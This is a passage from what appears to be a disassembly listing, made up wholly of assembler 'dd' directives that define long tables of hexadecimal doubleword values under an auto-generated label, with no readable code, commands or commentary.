0FE1F563Eh dd 15A5545Fh, 9B34B05Ah, 1CB82F73h, 0BD18EE24h, 0D4ED7B20h dd 14971DADh, 9D08F624h, 0AD0F07Bh, 703604FDh, 0EE015355h dd 956A23C8h, 2100C766h, 6B14A879h, 27DAED97h, 0BF0D8D9h dd 955B1E40h, 0EDA7A35Bh, 0F3E5414Bh, 35BA3E5Bh, 0B39410B4h dd 758D3109h, 54B91127h, 49BD4208h, 7812D721h, 0BC036D51h dd 98201A48h, 19EFF1Eh, 0FCE42A3Ah, 54919D0Bh, 3F7DB5EAh dd 0E3F311B6h, 97E67EE8h, 0F80BE5Bh, 4E2B84C0h, 4026ED2h dd 0D87DD66Fh, 2CAC1B84h, 57CFCF2h, 0E69D1840h, 8B4C0534h dd 0B7880DFBh, 88BEB5C3h, 0BD132300h, 6FAB0919h, 1723E2h dd 69433764h, 961284BFh, 5FC80E5Bh, 4F8C002Dh, 9FC96090h dd 0F30118F6h, 0F08BB39Ch, 231C082h, 5FB8926Eh, 35EB5A5Ch dd 0D166817Fh, 5EB7851h, 888B2EABh, 0BFDDC01Ch, 100DE6Fh dd 0EF7AE4E8h, 2D31FC8Ah, 1109195h, 2FED1FB9h, 0B5F051E6h dd 0E80BD690h, 80C27463h, 0F7F0EFDFh, 811497F9h, 0BEF7755Ah dd 0EDA079B3h, 5517699Dh, 12E82502h, 29B58904h, 0EADBAA19h dd 51C01888h, 0F9029A2Dh, 2B6D8D2Eh, 0FE9AA31h, 0A2203410h dd 910076F4h, 2930AB78h, 26CE54Ah, 0E1FFBF50h, 7F5CDC8Ah dd 9D048150h, 0EE00683Dh, 4714745Dh, 3099266Dh, 65D81CD6h dd 680B83C5h, 0D1F17304h, 1150308Dh, 0D7AC324Eh, 44B38E7h dd 6EEF60CDh, 6F5B005Eh, 0EC9613Ah, 0B761B784h, 0A16A2E19h dd 0F23F1623h, 170F22B8h, 20C634Fh, 21ECD9Dh, 0EFAEE180h dd 4171653Eh, 0D601728Bh, 0D025F4EDh, 1EC45Bh, 0EB1DFEFFh dd 0B144830Ch, 0FC58D225h, 2B5051CEh, 85005CA2h, 0F4EFD92h dd 9403028Ah, 0C1364C97h, 6BAA8D5Fh, 1D23EEh, 6DA38823h dd 440942DDh, 62E74C96h, 6FED569Dh, 0AD158825h, 99B9C00Bh dd 2DE2B64h, 1F3710A5h, 3DDA907h, 0A05BFEE6h, 25E05EBBh dd 2B897E19h, 628062B7h, 0B766ACFAh, 20224FF2h, 874A039Dh dd 29AA1817h, 90CD440Eh, 0DAB35B0Dh, 0C8CB6A6Ch, 13FA8A13h dd 0D148AADEh, 0F62D4BF8h, 50246B24h, 53B2C8FFh, 0DA654318h dd 0E85EF134h, 0A9B914BAh, 46585F61h, 0BE4094C3h, 0D69A5E8h dd 0F07C5604h, 30BE8D0Fh, 5F4955C8h, 18C5584Ah, 6B2A15A1h dd 1C238Ch, 70FA1E5Dh, 0E4122269h, 39F33A34h, 406D9340h dd 0B949E931h, 0F9032F6Ch, 3BC2256Eh, 0A7653D7Fh, 0FDB9EA81h dd 41322FA3h, 0FD06101h, 5A978B2Bh, 0C7A1FAE6h, 4A332FA6h dd 39541660h, 0F9979221h, 0F4A4CD88h, 4B26A100h, 9A64423Dh dd 0B6A948B3h, 801FDAA5h, 0C6D41A14h, 82780402h, 0A28174F8h dd 5EFA00D9h, 9068D610h, 1F525A3h, 0FB536AE2h, 0D3447772h dd 55F130A1h, 47953BCh, 0BA24348Dh, 4B18C036h, 0C83EDAD9h dd 0CE25C01Ch, 0E90552B6h, 7CBCDA8Eh, 192036ECh, 81AE6804h dd 1AE8E5E0h, 70A86580h, 3C004B17h, 3F954C8Ch, 58DDD959h dd 24028996h, 1A3E8251h, 0CF699B40h, 505B9897h, 53905F5Fh dd 5DAF0973h, 762FBA54h, 0B1EB2DDCh, 618DFEB4h, 668614BFh dd 1695DAB8h, 379002C9h, 871811C0h, 0B5D3B3F2h, 823EA2CFh dd 0E41E05BEh, 0B33149A8h, 0D76D6125h, 0DCBD43C0h, 7B613FFCh dd 26F4D60Bh, 52526209h, 438A8183h, 845A7C5Eh, 74B8D98Ah dd 21002BA3h, 0F7E5DF81h, 69E9548Eh, 3E74143Bh, 0FBD004DEh dd 0AB31B7F5h, 1CF8189Ah, 417C8Ch, 4F505C3Bh, 51637014h dd 29DAF9A3h, 10EC5B05h, 7EB3A180h, 5513F49Bh, 0FEF146Fh dd 0AB207335h, 0D7A5EF35h, 5D4F9497h, 9BF8D58Fh, 29F78016h dd 952E6DB0h, 5D0BF6C7h, 826FBD04h, 0FBB335FEh, 3B4475A0h dd 0D1001FB1h, 6BFD3188h, 289B81Eh, 9228A9EFh, 835481C2h dd 30D38061h, 0A8B5B23Ah, 82DC02BBh, 49D6E374h, 0EE521660h dd 57D41297h, 6FE331EDh, 11E38825h, 0A10C3971h, 0EBA9BF02h dd 0CE556D5Eh, 0C4CDB776h, 0ED0E1040h, 0FD8138Bh, 7FC5F581h dd 412D94A0h, 75F40715h, 4444B1D5h, 0A2DC121Dh, 22B5D347h dd 392982E1h, 0A6C3B548h, 0B085E6A1h, 0BA02726Eh, 0C0D6F8C4h dd 3C9B0B2h, 9520EEBDh, 61A44573h, 5730D509h, 17914537h dd 0DAF9D082h, 5195DAE0h, 10F20D4Ah, 98AC03D5h, 72A31700h dd 0F396DE7h, 0FFAAA486h, 23A1C089h, 0E152FF5Ch, 85A010FBh dd 2D0B4FBDh, 0EC9A6B2Dh, 9A6503C0h, 2909884Ah, 791CB1B5h dd 205081AAh, 0AD7DBD33h, 593B7399h, 347181Ah, 0C0E4BECDh dd 0CE4A86B0h, 130BFE5h, 0B63AF3DFh, 0D85E78D2h, 16A298A7h dd 9507EED7h, 0F45A5010h, 89C24A02h, 0E0D97DB1h, 3EBACEC9h dd 0B98EDFA8h, 0C8AB8C1Dh, 0CD527B76h, 0F83F61D8h, 45E32A8Bh dd 0E1FC5731h, 805B0007h, 0DA1A4BE7h, 0C11AC8AAh, 0D4AADAC4h dd 0E14B8F54h, 0B5508BE0h, 642DA390h, 0AAF77F02h, 4488670Eh dd 0DAB726C9h, 3EA93F4Bh, 1DF62778h, 63E08269h, 69A25E8Fh dd 90E0AD1Bh, 8002E20h, 160CF0B5h, 0FA226D6h, 0CF1E58DAh dd 8579F7C9h, 0CFFD3A45h, 0D0A104CEh, 70968761h, 2BE950FBh dd 7280C5DBh, 6E588A4Dh, 523FC805h, 0BB4B24F8h, 514F7431h dd 9F6C100Fh, 8E270073h, 0F5D4DFC8h, 4809B78Ch, 78F0958Fh dd 124F9797h, 0F0C47260h, 66A91E65h, 0BC6D54AAh, 0BC4E2C38h dd 0FB4AAA33h, 0EEB3BA61h, 64985E81h, 0CE3D8D31h, 80EBC55Eh dd 0EEA2BBAEh, 0CA2A4BB3h, 0BC6922A6h, 6DEA411Ch, 5EA5F4BEh dd 46C9A900h, 7FC2583Eh, 252A0285h, 837A10B2h, 5C31BAD7h dd 0E701D4F9h, 0D82BDEB9h, 0E12BDC8Ah, 2F9D6B3Bh, 81DADA6Ah dd 981DEDC0h, 4A2ACF2Bh, 0A1A0BCA6h, 0DB5D5EC7h, 3B9F45B1h dd 75D2C4B5h, 0E17FE562h, 0BB01109Bh, 2CAAFBC8h, 29EEC15Fh dd 0C32F7DF8h, 0B6EB8139h, 0BAD761CAh, 0D4CCDC50h, 60D5050Bh dd 0E3905F23h, 792F9503h, 4E567C1Ah, 501317E8h, 0A4D621BCh dd 75BDF8Ah, 40EDEDB4h, 0FB7A8B14h, 809BB795h, 0FB118D7Bh dd 0F316511Ah, 0DBF0EB87h, 0F40E8318h, 0D948968Ah, 0D7F2219Eh dd 0FE543AB2h, 552B0ED4h, 5408D9Ch, 8B907F78h, 5B50DF3Ah dd 0F4E011E6h, 0E822A248h, 0EF8D0206h, 9C30182Dh, 582519FCh dd 78939BE3h, 25044001h, 14ECB710h, 9B37AEFh, 0D7F5A106h dd 14911E35h, 14716389h, 0EB0F9500h, 74CD61D6h, 0B5700028h dd 8B3C58E8h, 0A54EA04Bh, 94672189h, 20B84FA0h, 983E8609h dd 1C0555DDh, 7B8DAB15h, 1B07666h, 5B13A70Fh, 0AF819FC6h dd 0E42A35CCh, 8D130978h, 49A32F99h, 4A95F893h, 0CE6EFEh dd 8D7A92F0h, 0E5B331Ah, 6ADDFB02h, 0BE9E3496h, 126B798h dd 39180C72h, 0C1AA6988h, 0C0F16A8Ch, 9C26402Fh, 58B89790h dd 0F1556C26h, 5FD64804h, 1DDD7BEEh, 1402232Dh, 0DF0A3795h dd 219DBFB0h, 4AE91C40h, 894FF3EFh, 74D90B94h, 870BDEA3h dd 79650C75h, 109601F4h, 6C6BFCDEh, 0BA1F8078h, 14236Fh dd 607F6E4h, 5F0DE380h, 116E5B4Ah, 1D6C4000h, 0D10567C1h dd 29A47602h, 0FB1801BDh, 0A9EC009Bh, 0A4F9A27Fh, 8B386200h dd 0D43EAA47h, 0BDAB4A5Ah, 8C1BAC43h, 13955800h, 92463510h dd 2209B060h, 0CC4F5B5h, 6109302Dh, 3DDCAE57h, 0F6F88B8Bh dd 38952C5h, 16C2996Dh, 47677CB9h, 747A9133h, 899AC81Bh dd 5BBD854Fh, 889EDB4Bh, 0CCB0C414h, 5716032Bh, 0F9E2998Ch dd 843B09C2h, 0FC259C74h dd 944EFC7Eh, 3569A8Ch, 0D86AC6BBh, 0E7A75F49h, 0AFA9F429h dd 4A71A3E4h, 0A0AEF731h, 998D0A6h, 0C101E9AFh, 6C7B5409h dd 234C3111h, 0CCE1E5C0h, 0F05A9D6Ah, 3C237F1h, 0EA84B05Fh dd 0E7D4918Dh, 0E4B4007Eh, 370E615h, 919FA59Dh, 71F5FBC7h dd 0FC62483Ah, 0A712E888h, 0E1C0ABF9h, 742FE23Ch, 53D505C2h dd 0AF75BD33h, 5E65A55Ch, 17984F8Ch, 734EEF80h, 0CD2A7189h dd 426D61E3h, 0B8A29D5Dh, 465F860Fh, 0DE0E095Dh, 6C50E8C1h dd 22F0945h, 11C78076h, 85B08157h, 0B82A2A0Dh, 9AAFC0CFh dd 5F7528Ch, 8B5633A7h, 0EDDF1CD1h, 0F54502E4h, 0B9F7272Eh dd 5196104h, 20FA9D89h, 3107C093h, 0D151B53Fh, 0DA309309h dd 8A0A6AA4h, 0C0971257h, 5E69F7D4h, 0D25CE8A2h, 412257F2h dd 21403A96h, 4B1553h, 0E05A83BAh, 5C6137C2h, 41D13600h dd 6814A782h, 15BDA8CEh, 835D8A26h, 28033D54h, 137A563h dd 2EF381FEh, 6105A333h, 0FC700295h, 0DC27374h, 69F31213h dd 0BDEA0350h, 0F9004A43h, 56C2A4E7h, 5B853160h, 0BD769425h dd 42B8964h, 0B9042207h, 0BC2CD49Ch, 41E65B35h, 906E50E0h dd 0B7778904h, 8EF02ECDh, 0BFF3C717h, 0BA745594h, 2B490F81h dd 0BAF1C0C5h, 0CCDAB0C2h, 3CED95B1h, 0D6D9ACh, 0E74DD18Ah dd 136E0CEh, 2B718517h, 99B52144h, 252F9BA1h, 0BC2DFD31h dd 0B1BC5A70h, 5D634C73h, 82D1A5Ah, 76A6Bh, 9DC93E99h dd 582ECE2Dh, 55C0BD8Eh, 0D56CD88Fh, 182F780Bh, 9219E2C2h dd 652D5E51h, 421B8081h, 159D0234h, 8DD8A712h, 0DCAD9Ch dd 47F5913Dh, 33810964h, 85250874h, 950070C5h, 4D2F66CDh dd 0C03FC509h, 0B884F35Bh, 79D9B6C9h, 605D2CDDh, 9290B1D2h dd 7B5BDA2Dh, 181959A1h, 0B2769770h, 0A36048ACh, 5F34E7h dd 382A06D2h, 9597E303h, 4E0CC805h, 8DBAE1FFh, 0E7282E16h dd 9E044E94h, 0D4CE8069h, 1605556Ah, 0E031A2C7h, 0E79519ADh dd 6D791A6Ch, 0A6ABD957h, 0F3081285h, 42A85D3h, 0C8E92AF9h dd 0D31648Bh, 31B198A3h, 8D896000h, 0ED330125h, 601D44D4h dd 0A174D8h, 0CC28F364h, 8117EEE3h, 0AF0AC704h, 0D6BC7EB5h dd 0E16E4Eh, 0CF886F59h, 1DBF9E6Ah, 0D2BB66E6h, 3CF7F419h dd 1D2C68Ah, 58C5C26Eh, 2A285CF3h, 1CB28EF6h, 1BE2B30h dd 0E165B8BAh, 3010584Ch, 6E09D0A6h, 5EC2D780h, 1453E9AAh dd 0D97C50h, 6C47ADDAh, 0D33BBEBAh, 0FD768997h, 6C2EA26h dd 5461D027h, 0D501F699h, 0FEE5CB9h, 0AE140C8Ah, 8D1353A3h dd 0E2AEC9A5h, 6840AAFCh, 50971856h, 4A4EC112h, 0A94EE028h dd 0CB881B3Dh, 0B48FB29Bh, 2F8D4CC7h, 9FB551A1h, 2C206BC2h dd 13BC382h, 748D8466h, 2B16D044h, 0B589FA30h, 167DBE59h dd 1213B851h, 0DCBD02F8h, 6510FC94h, 19E90924h, 0F4B3FC02h dd 9C878FDh, 7B20F99Dh, 97D9A0C1h, 5EDBA209h, 50E483D8h dd 1231E737h, 0F202D19Dh, 0AC64D5C2h, 476D00BDh, 0FF811DACh dd 0BB3EAFDBh, 75A92ECh, 0EF9374AFh, 89C4989Eh, 0ED6EAF06h dd 0BFBB6B02h, 0E580D88Bh, 71128D37h, 54897995h, 0C4523301h dd 0BB4096D0h, 4B7550D4h, 0A6D8C54Eh, 732AE06Fh, 2A77F40h dd 0CD15B0EFh, 127D503Ch, 17026069h, 32780012h, 0E9F353D7h dd 0B790FB6Dh, 45051695h, 0EF2D205Bh, 0B2F2995Ah, 1D06F93h dd 0D2BE13BBh, 0E7200B6Fh, 8B2C44FDh, 0EA801B05h, 0D488880Fh dd 2F7509BFh, 0E5784D32h, 9EE87409h, 0C361ED15h, 88EEB910h dd 452D3B98h, 72A05C21h, 1D4975Eh, 352B51E2h, 0C850906Fh dd 0F712F9BBh, 0FC0B7441h, 5DBBA9D1h, 1F447B15h, 2BFDC181h dd 0A9566102h, 3DAF1812h, 43206AD9h, 0F44D8Ch, 91B1D5D7h dd 297AF661h, 0BEBCFC00h, 6BB34CC5h, 0EF14975Fh, 7FF98BB5h dd 5F825E37h, 5F59A77Dh, 0E495FA52h, 940F0060h, 6DAFFC82h dd 9C04A831h, 5DA64D56h, 8D09F13Ah, 0FD4A8879h, 27CA9001h dd 40C2CF1Bh, 53A13DB8h, 8212957Ch, 0EDF24834h, 6A54C68Dh dd 8BF047A6h, 0C19FF598h, 382F2D16h, 55DD95ECh, 5BDEA5BDh dd 181D593Ch, 5C250634h, 6CBF3B9Ah, 0E45A7C2Dh, 84C43E66h dd 97DF1BEh, 1E63CAF9h, 99310257h, 0F49A7C06h, 88F87600h dd 0C01150FEh, 548B25E7h, 0D9B43EE6h, 1ED90841h, 504D75C4h dd 4115E343h, 51D92B2Fh, 2119C141h, 0E2CDFF04h, 85389A3Ah dd 45F183C0h, 0E35306ADh, 1633583Ah, 0EA2418F1h, 6118D2FBh dd 57563A5Dh, 28006935h, 2E7163D3h, 8102014Fh, 0CEA8E4F3h dd 45A22B6Bh, 4002C8A8h, 33753C62h, 9744D009h, 0E093CE16h dd 46E0C559h, 0D9CEA0ECh, 4DD39530h, 0EA373ADh, 0BA130C84h dd 0C8828B74h, 6AA25EB9h, 2D0811DEh, 6A4F5450h, 20A73C69h dd 61C1FC4Dh, 0D3F099F9h, 5B7143Fh, 0FF25F3E1h, 0B5B5D1EEh dd 0F29C006Eh, 0E34FF5A9h, 0CDA1034Eh, 99C9522Eh, 19987B3Dh dd 0A65B9F6Ah, 5AF8C578h, 0D373E9F1h, 0F3C203ECh, 4AF9DFBCh dd 8455D1A7h, 9013B750h, 10F0BF96h, 0EC23FB25h, 0C59D3A63h dd 1253F75Ah, 4AF2F9FCh, 87C4AF92h, 9A00A06Fh, 0A885B517h dd 84BD6390h, 0BB000AF2h, 33D36FF1h, 0DAA6197h, 8B57BF82h dd 8AE65FDEh, 0F3357725h, 181D593Fh, 5E5700F5h, 0E96D97EBh dd 0FE12F0D7h, 62F7A2B7h, 0FEAC4959h, 0BA69B809h, 49E489h dd 0A5B3D6FDh, 6BE8AED3h, 5D051B79h, 66079641h, 95096720h dd 0A20A4B8Dh, 96BD20Ah, 3722702h, 707E5E1Dh, 7407B909h dd 940710Ah, 851739F0h, 0C0564D25h, 410E5CD9h, 0DD5D210Ch dd 40858460h, 5202B82Ah, 61387EA5h, 6C2977C6h, 716B3B71h dd 841C01A9h, 0FDC31FD3h, 0C405C0F9h, 0E94E7D0Bh, 264E5EABh dd 9100DE56h, 87BCB3BFh, 278555EAh, 9F58D208h, 0FE303B25h dd 7C5896Bh, 0B49F4C5Fh, 0F5794003h, 9704029Fh, 504CF93Ah dd 5FC0FC1Eh, 0C0C1905Ch, 837C7798h, 50A20074h, 0A79344D5h dd 90EE849Fh, 0A5B795h, 0ABA39E46h, 2E0D2DFDh, 4A5AAF33h dd 1A129A41h, 6001F4DAh, 57912FC7h, 32649A00h, 40581C2Bh dd 37106D2h, 0B70465BDh, 0C5D0EC5h, 0A6227C02h, 0DE91FC48h dd 4EBAC49Dh, 4EF2B952h, 0B62E0FF5h, 0CD07E0F2h, 0B1FE4C8Ah dd 98BC8892h, 0C6003EEAh, 26C0CA44h, 9514FE64h, 1207250h dd 0BD5B4A19h, 8C15AC25h, 0BBED3401h, 1C706F2Bh, 0AAF0342Eh dd 0D1FF4202h, 14FE9853h, 9BA500EBh, 896C4C55h, 0D9094FCBh dd 715B65BBh, 0BA6A45AFh, 0B00E77Bh, 7E036562h, 6709216Bh dd 82026AA5h, 290C9DB1h, 6160B202h, 95EBE4DDh, 3FC4986Dh dd 7ED1EC1h, 612D6406h, 0BEE67317h, 0E44E9D3Bh, 71BD79B2h dd 842CC42Bh, 519BAF33h, 0FAC235C0h, 0F702BF60h, 313A0C63h dd 2EE85595h, 844E861h, 354801DDh, 3FD611EEh, 0CFC83ED0h dd 0C230003Eh, 0D831FDE7h, 0EC1E486Eh, 7C45DB37h, 0CD05BF93h dd 0CC6F5F9Ch, 7C7D5200h, 11598741h, 8DE8AF26h, 5E02C90Bh dd 0D8B3E358h, 229D1C10h, 23BF5001h, 5567C4E9h, 0AA1313D7h dd 28828h, 0AA753DA4h, 4D355184h, 0E4178302h, 75AE18CBh dd 0B81C9704h, 0D8EAA557h, 0DAB7B5B8h, 31B29569h, 0A700C7Bh dd 0DC4F07A8h, 2B8589D6h, 5C4B1954h, 1E7C520Fh, 0BED500D4h dd 0CC4560BCh, 0A498A78Eh, 505FF5Bh, 0B381491Fh, 0B73F30F5h dd 0D80DA0CCh, 0FE61ADAh, 0D2513A83h, 455E66A5h, 0D91C894Eh dd 60905EB0h, 5231F78Ch, 872EA00h, 0E651A649h, 88895E70h dd 712CE4B6h, 53349533h dword_50E448 dd 477755ADh, 1E7A0001h, 0E14228F9h, 5D50053h, 0AE167447h dd 212EF815h, 8D09FEB6h, 5A71A935h, 31BA4E53h, 42DFD9Ah dd 55F874D2h, 0F1AF28EBh, 2A2A158Dh, 93D29F3h, 24D5052Ah dd 0CFBC82Bh, 0D1430E41h, 1C6CC99Ch, 0AD304E75h, 79C88026h dd 0F85FD6F1h, 0DD02025Dh, 0E05169B1h, 0D84BAAF6h, 0EB810E04h dd 45491C57h, 141AD35Eh, 1F898469h, 0DF2361BEh, 0B98EF8BEh dd 4455A72Dh, 0AA7C059Bh, 90AE5785h, 0DE8B073Ah, 1EF1FAC4h dd 0E98A69B8h, 90C3005Ch, 33057974h, 26722597h, 2B169937h dd 0A7584ED5h, 0C4D00049h, 31D8BA5Eh, 3DAAC42Dh, 15B0B19h dd 0CB18576h, 0B03A8D2Bh, 0BFB3EC4Dh, 88684B1Fh, 0F5942894h dd 0F2AD2963h, 601A8BA5h, 830B1140h, 919195B2h, 0AC75F229h dd 25D73C63h, 7BCCFAB2h, 485B5898h, 0E25EF36Fh, 74092D79h dd 43CE2544h, 38872A01h, 0D5926D76h, 0B25666A5h, 0D99D0360h dd 9371B531h, 0D4355E69h, 0E5ADA000h, 0B9EBCBB5h, 96087063h dd 2612DEBAh, 41093190h, 9DC870FFh, 0C001BB7h, 6911EB70h dd 8B2609F1h, 9957FCFEh, 0F6C2B82Dh, 7C74F6D6h, 0D76D8B9Dh dd 0B02F1C35h, 20E63Bh, 0CC2D5BA4h, 5F86976h, 0DBD8913h dd 7FAE1C53h, 0F1A2388h, 8D21BFE2h, 0D8C175BAh, 182C450Dh dd 1E11654Dh, 80646027h, 93579000h, 38FA16E8h, 316E1C73h dd 0A00703EBh, 84F44341h, 88F5AAABh, 9257F2Eh, 75B727D2h dd 0B5B7AFE4h, 81179127h, 0FA26DC6h, 1006352Fh, 0AC5AE981h dd 877BBDBAh, 0B8DFE468h, 2971A2DEh, 1645F702h, 0F9DB057h dd 0F3169586h, 3B983398h, 6A77719Dh, 3F00D6C2h, 36F466EBh dd 256BB7D9h, 0B6EDE1FFh, 4D66D2C0h, 37D704B6h, 0C2297EDCh dd 0D85C25F8h, 0AC15B971h, 0B2CA4AD7h, 0C2BEC422h, 622A04DCh dd 829E064Eh, 105D8589h, 971955B2h, 11FBD21Ch, 132EF960h dd 0D16EBAA7h, 7D62B301h, 2E4826CCh, 8E6F9D16h, 0E531C05Bh dd 3101ABB7h, 0BD0160BEh, 0CC2B23B9h, 0C08A2297h, 0C20BD9FCh dd 2041BDE9h, 0E4486D75h, 0BB266017h, 88EE5AE8h, 7F7805EFh dd 304B7B01h, 0DC748509h, 456B8E8h, 0DF142CB1h, 0EB99ABC0h dd 9101E20h, 905F4916h, 49DE9C07h, 8CD90185h, 4EC66021h dd 10BB2545h, 1D8DB5h, 4CC96861h, 5600F0Eh, 96F4F1B9h dd 3F98AE14h, 5D72B584h, 114F361Fh, 1DE76E6h, 16BD2DB2h dd 288F6245h, 4C4E7047h, 54027DC2h, 8D5C5A4Fh, 774F05D4h dd 0FF94F02Dh, 4FEF185h, 5224C18Ch, 810282B3h, 0B69EF1CBh dd 0E9417360h, 4F026527h, 2BD4078h, 60092C7Dh, 428614D5h dd 698656E8h, 203908DEh, 0AEBE022Fh, 615C5B2Dh, 74A5915Ch dd 1471F426h, 23C6A701h, 0F54E175Dh, 48F352Eh, 0AB101D73h dd 404CC49Dh, 4D1507E5h, 30CA79E3h, 0BEB6024Ch, 7A041F09h dd 6E8B830Fh, 49C2A689h, 0E65A3075h, 3114B283h, 806A68A9h dd 6618135Dh, 43CF66Bh, 0ABECBCEAh, 5B4AB814h, 7AE09FB6h dd 0D0952AABh, 2390BF44h, 0A50716DDh, 78C25358h, 0E56EDF20h dd 2DFC2CC8h, 0E781C00Bh, 0E0053149h, 9AB35071h, 0C933BFB1h dd 2CB54C00h, 0FBE77058h, 0C500F7E0h, 0AB57F87Bh, 97985B91h dd 97F65809h, 74F200F6h, 0C2BDC113h, 41810932h, 28DE09D2h dd 0FD047B16h, 6840B1BDh, 52DEC1E7h, 183CDD92h, 379577C2h dd 4A0D0B9Bh, 1CA625EEh, 65DE6B00h, 0A50910F7h, 8C0E0041h dd 3F3E9766h, 2025BF88h, 0F56FC247h, 606174CFh, 0C27B7A3Fh dd 4CDF2AC4h, 7FFD000Dh, 4016FE56h, 0EA007E20h, 4EB48736h dd 4BEBE760h, 0AF22AA2Eh, 3B4CF5ACh, 5F236801h, 2C8B1F0Bh dd 3814B57Fh, 0A0AF8F80h, 40379BCFh, 394D003Bh, 732C8EBh dd 2802EF02h, 0FBB55E8h, 45ABDC31h, 0B69AABF8h, 62F6D3h dd 90CBDC12h, 58D44D6Ch, 7B5D4C23h, 0FE24Eh, 0B4270982h dd 38542Eh, 1B81213Dh, 7FFFC583h, 0F50B61F2h, 74D2DF80h dd 0B5577A24h, 0F0C00010h, 502E08A1h, 0A8B20B4Ah, 0E1655B25h dd 9CE95513h, 48004EECh, 5AD703CCh, 90DDEB4Ch, 2CC52001h dd 9ED5E95Ah, 0EDE350E6h, 0FB2B2FE0h, 0E98D890Bh, 7E1DD729h dd 0C57C3EF8h, 0CE03EDBCh, 208511C0h, 0D80C8148h, 0CD305752h dd 0A75F3340h, 0FD5E3EDAh, 0F665ECBAh, 3DB0023h, 0A3677F54h dd 9D728942h, 0BB6600F7h, 0EC3AE3FBh, 6D9DC2D6h, 0B8385515h dd 0D10BBFF5h, 7458497Dh, 1B46D614h, 477EC700h, 0A3F05227h dd 1742955Dh, 0B046A2Fh, 70AF03A9h, 21BF660Bh, 0DFAC0BB7h dd 985CEE29h, 0A8B5D5EBh, 7905FF83h, 0DD70FA94h, 60968423h dd 9E76BB88h, 7C39FC2Fh, 3FB3C3C5h, 737AAB9Ch, 1FF3E900h dd 0FC83C423h, 7A625E01h, 1EB58501h, 2481B76Eh, 24142303h dd 0A2BFA4C7h, 72B07A7Bh, 5CA5E4Bh, 93299A4Eh, 0ACD8E7E0h dd 65F87BBDh, 4F31857h, 9201BDA8h, 0E35C6110h, 9DD9226Ch dd 15590ED3h, 0B948BF18h, 10407F8Dh, 5B11EC09h, 0A5999D1Dh dd 0FDDA626Eh, 0D9562F1Ah, 0D9D38160h, 75B2571h, 0F556DEC0h dd 1897F9EEh, 0EE9509BBh, 0F4EB71Fh, 37803C99h, 85C2AECDh dd 456E007Fh, 254467CAh, 300562ECh, 8F4756C6h, 0AF00F3F2h dd 0CE29CCAEh, 8A046472h, 0EE08E1C9h, 61BD6E85h, 33D3035Bh dd 0F99DB19Dh, 6B5B805Eh, 194F4CCh, 0F8928E91h, 20D24AE4h dd 35971C07h, 82169134h, 0E0CD013Dh, 0BE06A95Eh, 0BD09E087h dd 96802A2Dh, 0E8089050h, 4851F631h, 0ECA5451Ah, 9F212075h dd 0E0AF9B51h, 9517D963h, 0A442856Fh, 51F75C12h, 0AF84C386h dd 5FE0FDA6h, 1F63DBCFh, 272CB1FEh, 29D460E7h, 0F661EB6Eh dd 0D96360DFh, 2D00D4F7h, 0C1328A9Fh, 4A30EAEh, 8ECAD25Bh dd 0D620EB5Ah, 13C782Ch, 0C35B62Bh, 213D16A5h, 601920CEh dd 5662E896h, 4035F659h, 0DC922A80h, 5D434B00h, 362178F7h dd 1FD100CCh, 5AABCA31h, 512605B8h, 9612435Eh, 74911E0Bh dd 6A8B5104h, 0F69328F2h, 0C84EA076h, 40D4941Fh, 242FB436h dd 9DD99900h, 8D47F43Dh, 0D59B2925h, 89891D3Fh, 167B0F91h dd 2525B8A0h, 13F5C72Eh, 56A76Bh, 0BA66B99Fh, 973AE590h dd 35D5FB3Ah, 86D301B0h, 93435EBFh, 0AB52B58Dh, 6E2FF3B1h dd 0DA1101EAh, 0AC40B2F5h, 0A2A131F8h, 8730FFF0h, 0E79586C7h dd 1F7FA55Bh, 0ED4A8297h, 8157DAE9h, 0BD2B6050h, 2780FEC6h dd 5F724850h, 0E92F0D90h, 18A0A921h, 166F32Dh, 0A12F574Ch dd 0DA389E0Dh, 97CCDA77h, 5FD0221Ah, 93601F5Fh, 0BF5AD0h dd 110EACC2h, 0B887AAF6h, 901B2812h, 170B3C12h, 88F5ED9h dd 574E1475h, 0F6BC3DEDh, 0E6126D00h, 0A35ADC73h, 8B0F2FC7h dd 0EBB4C993h, 0A8E84934h, 48B69D04h, 0C011DB06h, 0ECF23197h dd 819D1301h, 9F6AAF0Ch, 6B001B23h, 971A6958h, 95C67942h dd 6C906D0h, 830AA4D9h, 8DF53DD9h, 0D6ACB26Fh, 0DB25FFh dd 2E82CE2Dh, 0AA1FD2BAh, 6AD67299h, 272FB97Ah, 494ED350h dd 0D46A6509h, 212DDE40h, 2DEEF8E8h, 6F5B2C81h, 0BFF2E200h dd 9756FDEAh, 1C9171B5h, 6D5AEE83h, 3847B998h, 0C214B634h dd 3727AC12h, 9BAB2B75h, 0E8E6D2FBh, 0FFF65506h, 0E520D8D1h dd 0BD332402h, 40712590h, 31EF54C4h, 63026A84h, 0FE570011h dd 0A5C74E25h, 6239E87Fh, 299BC36h, 6021410Bh, 71B1AC2Fh dd 0A60BBFF0h, 74667FBAh, 4011C456h, 0A46C9931h, 4668C077h dd 0D5C0AFB9h, 0C3EC7404h, 0C3BE75FDh, 4DFCD1B6h, 427E745Bh dd 104DE97Ah, 0A7597B5Eh dd 9B3BA621h, 0AFA3C0E0h, 96A28Ah, 5ECA8262h, 0EBB3BB66h dd 91379Fh, 2F3DC619h, 9A091857h, 82D9260Fh, 5E1C5D55h dd 0CC40E953h, 0BA904D54h, 64BB8A4Bh, 7C9EAB9Ch, 0E5D9880h dd 110BF0D0h, 988A4060h, 0CB7D16h, 0BFED3A33h, 1F4BF87Fh dd 240995F2h, 24DA318Fh, 71BD5B09h, 0FF7B4Bh, 0E75C4002h dd 103360A7h, 5A31C195h, 1B2035F8h, 0BF66610Eh, 97F63279h dd 4BB5C440h, 0E472CDC3h, 2271400Ah, 5B9B6A4Fh, 9AFBC7h dd 0FF921F1Ch, 3AE0E216h, 214AA8E8h, 0DA196D63h, 0A2520D24h dd 0EEF707D2h, 82E19643h, 622F0C67h, 60213364h, 1B50EEB4h dd 0BD4284Bh, 0FB5F931Ch, 95B09185h, 0DFCAAE10h, 0AA202C00h dd 46023C01h, 0F59D6105h, 0B6002DDBh, 0B112C6E4h, 297013E6h dd 0C5969795h, 0E162D471h, 37DC6BB1h, 198D1831h, 0C8B6D904h dd 0AD5E0979h, 0F8D313BDh, 725882DEh, 0E12E5B9Eh, 6B059D89h dd 0A0C10888h, 0B61865EFh, 0BBE38B3Ah, 982CA9D7h, 7D27CD5h dd 283D6975h, 330847E6h, 0BAE50449h, 299D4E42h, 4B6A1225h dd 15CBA755h, 7BE90DE8h, 51F2051h, 3650245Eh, 7EBE9DBCh dd 5DBC225Ah, 0F0214DEh, 4016FA36h, 57E59D25h, 51187A99h dd 922FE12Eh, 